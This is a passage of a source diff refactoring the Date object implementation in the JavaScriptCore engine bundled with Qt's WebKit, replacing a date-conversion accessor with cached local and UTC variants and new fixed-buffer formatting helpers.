+typedef char DateConversionBuffer[DateConversionBufferSize];
+
+double parseDate(ExecState* exec, const UString&);
+void formatDate(const GregorianDateTime&, DateConversionBuffer&);
+void formatDateUTCVariant(const GregorianDateTime&, DateConversionBuffer&);
+void formatTime(const GregorianDateTime&, DateConversionBuffer&);
+void formatTimeUTC(const GregorianDateTime&, DateConversionBuffer&);
 
 } // namespace JSC
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.cpp
index d4c9ef7..b43b183 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.cpp
@@ -40,36 +40,48 @@ DateInstance::DateInstance(ExecState* exec, NonNullPassRefPtr<Structure> structu
     setInternalValue(jsNaN(exec));
 }
 
+DateInstance::DateInstance(ExecState* exec, NonNullPassRefPtr<Structure> structure, double time)
+    : JSWrapperObject(structure)
+{
+    setInternalValue(jsNumber(exec, timeClip(time)));
+}
+
 DateInstance::DateInstance(ExecState* exec, double time)
     : JSWrapperObject(exec->lexicalGlobalObject()->dateStructure())
 {
     setInternalValue(jsNumber(exec, timeClip(time)));
 }
 
-bool DateInstance::getGregorianDateTime(ExecState* exec, bool outputIsUTC, GregorianDateTime& t) const
+const GregorianDateTime* DateInstance::calculateGregorianDateTime(ExecState* exec) const
 {
     double milli = internalNumber();
     if (isnan(milli))
-        return false;
+        return 0;
 
     if (!m_data)
         m_data = exec->globalData().dateInstanceCache.add(milli);
 
-    if (outputIsUTC) {
-        if (m_data->m_gregorianDateTimeUTCCachedForMS != milli) {
-            WTF::msToGregorianDateTime(internalNumber(), true, m_data->m_cachedGregorianDateTimeUTC);
-            m_data->m_gregorianDateTimeUTCCachedForMS = milli;
-        }
-        t.copyFrom(m_data->m_cachedGregorianDateTimeUTC);
-    } else {
-        if (m_data->m_gregorianDateTimeCachedForMS != milli) {
-            WTF::msToGregorianDateTime(internalNumber(), false, m_data->m_cachedGregorianDateTime);
-            m_data->m_gregorianDateTimeCachedForMS = milli;
-        }
-        t.copyFrom(m_data->m_cachedGregorianDateTime);
+    if (m_data->m_gregorianDateTimeCachedForMS != milli) {
+        msToGregorianDateTime(exec, milli, false, m_data->m_cachedGregorianDateTime);
+        m_data->m_gregorianDateTimeCachedForMS = milli;
     }
+    return &m_data->m_cachedGregorianDateTime;
+}
+
+const GregorianDateTime* DateInstance::calculateGregorianDateTimeUTC(ExecState* exec) const
+{
+    double milli = internalNumber();
+    if (isnan(milli))
+        return 0;
 
-    return true;
+    if (!m_data)
+        m_data = exec->globalData().dateInstanceCache.add(milli);
+
+    if (m_data->m_gregorianDateTimeUTCCachedForMS != milli) {
+        msToGregorianDateTime(exec, milli, true, m_data->m_cachedGregorianDateTimeUTC);
+        m_data->m_gregorianDateTimeUTCCachedForMS = milli;
+    }
+    return &m_data->m_cachedGregorianDateTimeUTC;
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.h b/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.h
index 38b321c..77d46de 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstance.h
@@ -32,23 +32,38 @@ namespace JSC {
     class DateInstance : public JSWrapperObject {
     public:
         DateInstance(ExecState*, double);
+        DateInstance(ExecState*, NonNullPassRefPtr<Structure>, double);
         explicit DateInstance(ExecState*, NonNullPassRefPtr<Structure>);
 
         double internalNumber() const { return internalValue().uncheckedGetNumber(); }
 
         static JS_EXPORTDATA const ClassInfo info;
 
-        bool getGregorianDateTime(ExecState*, bool outputIsUTC, WTF::GregorianDateTime&) const;
+        const GregorianDateTime* gregorianDateTime(ExecState* exec) const
+        {
+            if (m_data && m_data->m_gregorianDateTimeCachedForMS == internalNumber())
+                return &m_data->m_cachedGregorianDateTime;
+            return calculateGregorianDateTime(exec);
+        }
+        
+        const GregorianDateTime* gregorianDateTimeUTC(ExecState* exec) const
+        {
+            if (m_data && m_data->m_gregorianDateTimeUTCCachedForMS == internalNumber())
+                return &m_data->m_cachedGregorianDateTimeUTC;
+            return calculateGregorianDateTimeUTC(exec);
+        }
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
         static const unsigned StructureFlags = OverridesMarkChildren | JSWrapperObject::StructureFlags;
 
     private:
+        const GregorianDateTime* calculateGregorianDateTime(ExecState*) const;
+        const GregorianDateTime* calculateGregorianDateTimeUTC(ExecState*) const;
         virtual const ClassInfo* classInfo() const { return &info; }
 
         mutable RefPtr<DateInstanceData> m_data;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstanceCache.h b/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstanceCache.h
index b626c1d..d208580 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstanceCache.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DateInstanceCache.h
@@ -40,9 +40,9 @@ namespace JSC {
         static PassRefPtr<DateInstanceData> create() { return adoptRef(new DateInstanceData); }
 
         double m_gregorianDateTimeCachedForMS;
-        WTF::GregorianDateTime m_cachedGregorianDateTime;
+        GregorianDateTime m_cachedGregorianDateTime;
         double m_gregorianDateTimeUTCCachedForMS;
-        WTF::GregorianDateTime m_cachedGregorianDateTimeUTC;
+        GregorianDateTime m_cachedGregorianDateTimeUTC;
 
     private:
         DateInstanceData()
@@ -56,6 +56,11 @@ namespace JSC {
     public:
         DateInstanceCache()
         {
+            reset();
+        }
+        
+        void reset()
+        {
             for (size_t i = 0; i < cacheSize; ++i)
                 m_cache[i].key = NaN;
         }
@@ -72,7 +77,7 @@ namespace JSC {
         }
 
     private:
-        static const size_t cacheSize = 64;
+        static const size_t cacheSize = 16;
 
         struct CacheEntry {
             double key;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.cpp
index 3f3e1f9..25b0ac4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.cpp
@@ -26,9 +26,9 @@
 #include "DateConversion.h"
 #include "Error.h"
 #include "JSString.h"
+#include "JSStringBuilder.h"
 #include "ObjectPrototype.h"
 #include "DateInstance.h"
-#include <float.h>
 
 #if !PLATFORM(MAC) && HAVE(LANGINFO_H)
 #include <langinfo.h>
@@ -60,7 +60,7 @@
 #include <CoreFoundation/CoreFoundation.h>
 #endif
 
-#if PLATFORM(WINCE) && !PLATFORM(QT)
+#if OS(WINCE) && !PLATFORM(QT)
 extern "C" size_t strftime(char * const s, const size_t maxsize, const char * const format, const struct tm * const t); //provided by libce
 #endif
 
@@ -198,7 +198,7 @@ static JSCell* formatLocaleDate(ExecState* exec, const GregorianDateTime& gdt, L
 {
 #if HAVE(LANGINFO_H)
     static const nl_item formats[] = { D_T_FMT, D_FMT, T_FMT };
-#elif (PLATFORM(WINCE) && !PLATFORM(QT)) || PLATFORM(SYMBIAN)
+#elif (OS(WINCE) && !PLATFORM(QT)) || OS(SYMBIAN)
      // strftime() does not support '#' on WinCE or Symbian
     static const char* const formatStrings[] = { "%c", "%x", "%X" };
 #else
@@ -253,11 +253,10 @@ static JSCell* formatLocaleDate(ExecState* exec, const GregorianDateTime& gdt, L
 
 static JSCell* formatLocaleDate(ExecState* exec, DateInstance* dateObject, double, LocaleDateTimeFormat format, const ArgList&)
 {
-    GregorianDateTime gregorianDateTime;
-    const bool outputIsUTC = false;
-    if (!dateObject->getGregorianDateTime(exec, outputIsUTC, gregorianDateTime))
+    const GregorianDateTime* gregorianDateTime = dateObject->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNontrivialString(exec, "Invalid Date");
-    return formatLocaleDate(exec, gregorianDateTime, format);
+    return formatLocaleDate(exec, *gregorianDateTime, format);
 }
 
 #endif // !PLATFORM(MAC)
@@ -420,14 +419,16 @@ JSValue JSC_HOST_CALL dateProtoFuncToString(ExecState* exec, JSObject*, JSValue
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNontrivialString(exec, "Invalid Date");
-    return jsNontrivialString(exec, formatDate(t) + " " + formatTime(t, outputIsUTC));
+    DateConversionBuffer date;
+    DateConversionBuffer time;
+    formatDate(*gregorianDateTime, date);
+    formatTime(*gregorianDateTime, time);
+    return jsMakeNontrivialString(exec, date, " ", time);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncToUTCString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -435,14 +436,16 @@ JSValue JSC_HOST_CALL dateProtoFuncToUTCString(ExecState* exec, JSObject*, JSVal
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNontrivialString(exec, "Invalid Date");
-    return jsNontrivialString(exec, formatDateUTCVariant(t) + " " + formatTime(t, outputIsUTC));
+    DateConversionBuffer date;
+    DateConversionBuffer time;
+    formatDateUTCVariant(*gregorianDateTime, date);
+    formatTimeUTC(*gregorianDateTime, time);
+    return jsMakeNontrivialString(exec, date, " ", time);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncToISOString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -450,17 +453,15 @@ JSValue JSC_HOST_CALL dateProtoFuncToISOString(ExecState* exec, JSObject*, JSVal
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
     
-    const bool outputIsUTC = true;
-    
     DateInstance* thisDateObj = asDateInstance(thisValue); 
     
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNontrivialString(exec, "Invalid Date");
     // Maximum amount of space we need in buffer: 6 (max. digits in year) + 2 * 5 (2 characters each for month, day, hour, minute, second) + 4 (. + 3 digits for milliseconds)
     // 6 for formatting and one for null termination = 27.  We add one extra character to allow us to force null termination.
     char buffer[28];
-    snprintf(buffer, sizeof(buffer) - 1, "%04d-%02d-%02dT%02d:%02d:%02d.%03dZ", 1900 + t.year, t.month + 1, t.monthDay, t.hour, t.minute, t.second, static_cast<int>(fmod(thisDateObj->internalNumber(), 1000)));
+    snprintf(buffer, sizeof(buffer) - 1, "%04d-%02d-%02dT%02d:%02d:%02d.%03dZ", 1900 + gregorianDateTime->year, gregorianDateTime->month + 1, gregorianDateTime->monthDay, gregorianDateTime->hour, gregorianDateTime->minute, gregorianDateTime->second, static_cast<int>(fmod(thisDateObj->internalNumber(), 1000)));
     buffer[sizeof(buffer) - 1] = 0;
     return jsNontrivialString(exec, buffer);
 }
@@ -470,14 +471,14 @@ JSValue JSC_HOST_CALL dateProtoFuncToDateString(ExecState* exec, JSObject*, JSVa
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNontrivialString(exec, "Invalid Date");
-    return jsNontrivialString(exec, formatDate(t));
+    DateConversionBuffer date;
+    formatDate(*gregorianDateTime, date);
+    return jsNontrivialString(exec, date);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncToTimeString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -485,14 +486,14 @@ JSValue JSC_HOST_CALL dateProtoFuncToTimeString(ExecState* exec, JSObject*, JSVa
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNontrivialString(exec, "Invalid Date");
-    return jsNontrivialString(exec, formatTime(t, outputIsUTC));
+    DateConversionBuffer time;
+    formatTime(*gregorianDateTime, time);
+    return jsNontrivialString(exec, time);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncToLocaleString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -535,14 +536,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetFullYear(ExecState* exec, JSObject*, JSVal
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, 1900 + t.year);
+    return jsNumber(exec, 1900 + gregorianDateTime->year);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetUTCFullYear(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -550,14 +549,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetUTCFullYear(ExecState* exec, JSObject*, JS
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, 1900 + t.year);
+    return jsNumber(exec, 1900 + gregorianDateTime->year);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncToGMTString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -565,14 +562,16 @@ JSValue JSC_HOST_CALL dateProtoFuncToGMTString(ExecState* exec, JSObject*, JSVal
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNontrivialString(exec, "Invalid Date");
-    return jsNontrivialString(exec, formatDateUTCVariant(t) + " " + formatTime(t, outputIsUTC));
+    DateConversionBuffer date;
+    DateConversionBuffer time;
+    formatDateUTCVariant(*gregorianDateTime, date);
+    formatTimeUTC(*gregorianDateTime, time);
+    return jsMakeNontrivialString(exec, date, " ", time);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetMonth(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -580,14 +579,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetMonth(ExecState* exec, JSObject*, JSValue
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.month);
+    return jsNumber(exec, gregorianDateTime->month);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetUTCMonth(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -595,14 +592,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetUTCMonth(ExecState* exec, JSObject*, JSVal
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.month);
+    return jsNumber(exec, gregorianDateTime->month);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetDate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -610,14 +605,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetDate(ExecState* exec, JSObject*, JSValue t
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.monthDay);
+    return jsNumber(exec, gregorianDateTime->monthDay);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetUTCDate(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -625,14 +618,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetUTCDate(ExecState* exec, JSObject*, JSValu
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.monthDay);
+    return jsNumber(exec, gregorianDateTime->monthDay);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetDay(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -640,14 +631,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetDay(ExecState* exec, JSObject*, JSValue th
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.weekDay);
+    return jsNumber(exec, gregorianDateTime->weekDay);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetUTCDay(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -655,14 +644,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetUTCDay(ExecState* exec, JSObject*, JSValue
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.weekDay);
+    return jsNumber(exec, gregorianDateTime->weekDay);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetHours(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -670,14 +657,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetHours(ExecState* exec, JSObject*, JSValue
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.hour);
+    return jsNumber(exec, gregorianDateTime->hour);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetUTCHours(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -685,14 +670,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetUTCHours(ExecState* exec, JSObject*, JSVal
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.hour);
+    return jsNumber(exec, gregorianDateTime->hour);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetMinutes(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -700,14 +683,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetMinutes(ExecState* exec, JSObject*, JSValu
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.minute);
+    return jsNumber(exec, gregorianDateTime->minute);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetUTCMinutes(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -715,14 +696,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetUTCMinutes(ExecState* exec, JSObject*, JSV
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.minute);
+    return jsNumber(exec, gregorianDateTime->minute);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetSeconds(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -730,14 +709,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetSeconds(ExecState* exec, JSObject*, JSValu
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.second);
+    return jsNumber(exec, gregorianDateTime->second);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetUTCSeconds(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -745,14 +722,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetUTCSeconds(ExecState* exec, JSObject*, JSV
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = true;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTimeUTC(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, t.second);
+    return jsNumber(exec, gregorianDateTime->second);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncGetMilliSeconds(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
@@ -790,14 +765,12 @@ JSValue JSC_HOST_CALL dateProtoFuncGetTimezoneOffset(ExecState* exec, JSObject*,
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
-    return jsNumber(exec, -gmtoffset(t) / minutesPerHour);
+    return jsNumber(exec, -gregorianDateTime->utcOffset / minutesPerHour);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncSetTime(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -830,16 +803,21 @@ static JSValue setNewValueFromTimeArgs(ExecState* exec, JSValue thisValue, const
     double secs = floor(milli / msPerSecond);
     double ms = milli - secs * msPerSecond;
 
-    GregorianDateTime t;
-    thisDateObj->getGregorianDateTime(exec, inputIsUTC, t);
+    const GregorianDateTime* other = inputIsUTC 
+        ? thisDateObj->gregorianDateTimeUTC(exec)
+        : thisDateObj->gregorianDateTime(exec);
+    if (!other)
+        return jsNaN(exec);
 
-    if (!fillStructuresUsingTimeArgs(exec, args, numArgsToUse, &ms, &t)) {
+    GregorianDateTime gregorianDateTime;
+    gregorianDateTime.copyFrom(*other);
+    if (!fillStructuresUsingTimeArgs(exec, args, numArgsToUse, &ms, &gregorianDateTime)) {
         JSValue result = jsNaN(exec);
         thisDateObj->setInternalValue(result);
         return result;
     } 
     
-    JSValue result = jsNumber(exec, gregorianDateTimeToMS(t, ms, inputIsUTC));
+    JSValue result = jsNumber(exec, gregorianDateTimeToMS(exec, gregorianDateTime, ms, inputIsUTC));
     thisDateObj->setInternalValue(result);
     return result;
 }
@@ -857,26 +835,28 @@ static JSValue setNewValueFromDateArgs(ExecState* exec, JSValue thisValue, const
     }      
     
     double milli = thisDateObj->internalNumber();
-    double ms = 0;
-
-    GregorianDateTime t;
-    if (numArgsToUse == 3 && isnan(milli))
-        // Based on ECMA 262 15.9.5.40 - .41 (set[UTC]FullYear)
-        // the time must be reset to +0 if it is NaN. 
-        WTF::msToGregorianDateTime(0, true, t);
-    else {
-        double secs = floor(milli / msPerSecond);
-        ms = milli - secs * msPerSecond;
-        thisDateObj->getGregorianDateTime(exec, inputIsUTC, t);
+    double ms = 0; 
+
+    GregorianDateTime gregorianDateTime; 
+    if (numArgsToUse == 3 && isnan(milli)) 
+        msToGregorianDateTime(exec, 0, true, gregorianDateTime); 
+    else { 
+        ms = milli - floor(milli / msPerSecond) * msPerSecond; 
+        const GregorianDateTime* other = inputIsUTC 
+            ? thisDateObj->gregorianDateTimeUTC(exec)
+            : thisDateObj->gregorianDateTime(exec);
+        if (!other)
+            return jsNaN(exec);
+        gregorianDateTime.copyFrom(*other);
     }
     
-    if (!fillStructuresUsingDateArgs(exec, args, numArgsToUse, &ms, &t)) {
+    if (!fillStructuresUsingDateArgs(exec, args, numArgsToUse, &ms, &gregorianDateTime)) {
         JSValue result = jsNaN(exec);
         thisDateObj->setInternalValue(result);
         return result;
     } 
            
-    JSValue result = jsNumber(exec, gregorianDateTimeToMS(t, ms, inputIsUTC));
+    JSValue result = jsNumber(exec, gregorianDateTimeToMS(exec, gregorianDateTime, ms, inputIsUTC));
     thisDateObj->setInternalValue(result);
     return result;
 }
@@ -970,8 +950,6 @@ JSValue JSC_HOST_CALL dateProtoFuncSetYear(ExecState* exec, JSObject*, JSValue t
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue);     
     if (args.isEmpty()) { 
         JSValue result = jsNaN(exec);
@@ -982,15 +960,16 @@ JSValue JSC_HOST_CALL dateProtoFuncSetYear(ExecState* exec, JSObject*, JSValue t
     double milli = thisDateObj->internalNumber();
     double ms = 0;
 
-    GregorianDateTime t;
+    GregorianDateTime gregorianDateTime;
     if (isnan(milli))
         // Based on ECMA 262 B.2.5 (setYear)
         // the time must be reset to +0 if it is NaN. 
-        WTF::msToGregorianDateTime(0, true, t);
+        msToGregorianDateTime(exec, 0, true, gregorianDateTime);
     else {   
         double secs = floor(milli / msPerSecond);
         ms = milli - secs * msPerSecond;
-        thisDateObj->getGregorianDateTime(exec, outputIsUTC, t);
+        if (const GregorianDateTime* other = thisDateObj->gregorianDateTime(exec))
+            gregorianDateTime.copyFrom(*other);
     }
     
     bool ok = true;
@@ -1001,8 +980,8 @@ JSValue JSC_HOST_CALL dateProtoFuncSetYear(ExecState* exec, JSObject*, JSValue t
